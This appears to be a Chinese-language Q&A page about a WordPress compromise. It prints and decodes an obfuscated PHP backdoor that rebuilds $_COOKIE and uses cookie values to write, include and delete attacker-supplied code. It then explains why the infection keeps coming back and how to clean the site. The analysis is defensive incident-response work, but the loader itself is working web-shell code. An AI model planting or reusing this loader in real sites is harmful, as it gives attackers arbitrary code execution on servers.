You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何解码恶意PHP代码?WordPress恶意文件反复生成问题排查

WordPress恶意PHP代码分析与文件反复生成原因解析

待分析的恶意PHP代码

<?php
$tM = ${"\137" . "\103\117\117\113" .    "\111\105"};
if (isset($tM[(99    - 0)])) {
    $ScL = $tM[(88 - 8)]    . $tM[(38 - 10)];
    $skZ = $ScL($tM[(58    -    27)] . $tM[(44 - 33)]);
    $nTO = $skZ($ScL($tM[(98 - 1)]));
    $lvo =    $skZ($ScL($tM[(71 -    19)]));
    $yJd    = __DIR__ . $skZ($ScL($tM[(74 - 17)]));
    $nTO($yJd, $skZ($ScL($tM[(99 - 0)])));
    include($yJd);
    $lvo($yJd);
}

代码解码与作用解析

这段PHP代码通过八进制转义字符和COOKIE参数依赖实现隐蔽执行,核心逻辑拆解如下:

  1. 变量初始化:通过八进制转义字符拼接_COOKIE,最终等价于$tM = $_COOKIE,直接读取当前请求的COOKIE数据。
  2. 触发条件:仅当COOKIE中存在键为99(对应ASCII字符c)的参数时,才执行后续恶意逻辑。
  3. 动态构造执行链:
    • 从COOKIE中读取两个参数拼接成解码函数$ScL(常见为base64_decode)。
    • 利用$ScL解码COOKIE中其他参数,得到可执行函数$skZ(多为create_function或匿名函数)。
  4. 恶意文件操作:
    • 进一步解码得到文件写入函数$nTO(如file_put_contents)、文件删除函数$lvo(如unlink)以及目标文件路径$yJd。
    • 将COOKIE中c参数解码后的恶意内容写入$yJd指向的文件,随后包含执行该文件,最后删除文件(避免被直接发现)。

这段代码本质是一个动态加载器,自身无固定恶意逻辑,所有核心行为完全由攻击者通过COOKIE控制,可执行任意代码,扩展性极强。

文件反复生成的原因

结合你提到的Bricks情人节漏洞,文件反复生成的核心是后门持久化机制未彻底清除:

  • 主题/插件植入后门:攻击者利用漏洞入侵后,会在WordPress主题的functions.php、header.php或残留插件文件中植入循环触发代码,定期调用加载器或直接生成恶意文件。
  • 数据库恶意注入:攻击者可能在wp_options表(如siteurl字段)或文章内容中插入恶意代码片段,每次页面加载都会触发文件生成。
  • 定时任务残留:漏洞利用后,攻击者可能添加了系统CRON任务或WordPress内置定时任务,周期性执行恶意脚本生成文件。
  • 服务器深层后门:若服务器存在FTP/SSH弱口令等其他漏洞,攻击者可能已获取服务器权限,在系统目录植入WebShell或恶意服务,导致文件反复生成。

清理建议

  • 全量校验WordPress文件:对比官方原版核心文件、主题、插件,删除所有可疑修改或未知文件,彻底清除未使用的插件/主题。
  • 清理数据库恶意内容:导出wp_options、wp_posts等核心表,搜索并清除可疑代码片段。
  • 排查定时任务:检查服务器CRON列表和WordPress内置定时任务(可查看wp_options表的cron字段),删除未知任务。
  • 加固服务器权限:修改所有账户密码(FTP、SSH、WordPress后台),关闭不必要端口,启用防火墙规则。

内容的提问来源于stack exchange,提问作者MULTIMEDIAFABRIK 360ty world

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.28 15:42:03